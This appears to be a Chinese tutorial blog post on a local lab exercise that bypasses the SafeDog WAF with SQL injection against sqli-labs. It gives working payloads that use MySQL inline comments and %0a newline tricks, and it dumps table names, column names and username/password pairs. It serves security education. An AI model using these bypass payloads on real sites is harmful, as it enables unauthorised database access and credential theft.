SQL注入之waf绕过(safedog)
本地部署apache和safedog后,对sqllab的一个实验
payload:?id=1' and 1=1--+,发现被拦截了,但是不知道拦截的关键词是什么
这里把1=1删了试试
发现有报错,再加上1=1但是不加空格试试。报错了,这里可能是识别到and后紧跟空格和字符的模式,并把它过滤掉了
payload:?id=1 and/**/1=1--+
使用bp进行抓包后,右键发送至intruder。在图示位置添加注入点,配置为爆破模式,使用的字符串为/*! 长度为4
为什么用/*!这三个符号呢?原因如下
找长度不一样的爆破结果,发现已经成功绕过了
接下来尝试联合查询,payload:?id=1' union select 1,2,3--+,发现被拦截了。单独用union、select;用unionselect试试会不会被拦截
union
select
unionselect
可以发现unionselect被拦截了,用之前的方法,构造一个payload:union/**/select 1,2,3
爆破找到可以绕过的语句,这里发现最大长度为4时找不到需要的语句,改成6可以找到
加入database()对数据库进行查询
把括号去掉就没被拦截了
继续用bp爆破实现绕过database/**/()
接下来测试一下group_concat() from语句,尝试查出表名,发现并没有被拦截。用完整语句group_concat(table_name) from information_schema.tables时,被拦截了
这里用一个很神奇的payload
?id=1' union/*/!**!/*/select 1,2,group_concat(table_name) from/*!-- /*%0ainformation_schema.tables*/ --+
在mysql数据库中,一些特有的仅在mysql上用的语句会被放在/*!....*/中执行,%0a是换行符的url编码。
这个payload中,waf认为information_schema.tables被一对/*给注释掉了。
而--的作用是将--以后的代码注释掉,这里--本应该把其后所有东西注释掉,但是由于%0a进行了一个换行,所以这里的--仅将%0a前的/*给注释掉了。而最末尾的*/与前面的/*!形成了闭合,最终能够正常执行sql语句
成功绕过了waf,接下来加入一个where语句,完成表的查询
输入一个where发现被拦截了,继续执行之前的bp爆破操作,当然也可以继续用上面的方法
?id=1' union/*/!**!/*/select 1,2,group_concat(table_name) from/*!-- /*%0ainformation_schema.tables*//**/where--+
往where前的/**/插入一个注入点,进行爆破
任取一个,再加上table_schema='security'查出数据
怎么查出来两个Dumb?原来是?id=1,改为?id=-1就查出表名了
接下来查询列名
?id=-1' union/*/!**!/*/select 1,2,group_concat(column_name) from/*!-- /*%0ainformation_schema.columns*//*////*/where table_name='users'--+
从表中提取数据
?id=-1' union/*/!**!/*/select 1,2,group_concat(concat_ws('~',username,password)) from/*////*/users--+
注意,本文仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前,请确保已获得合法授权。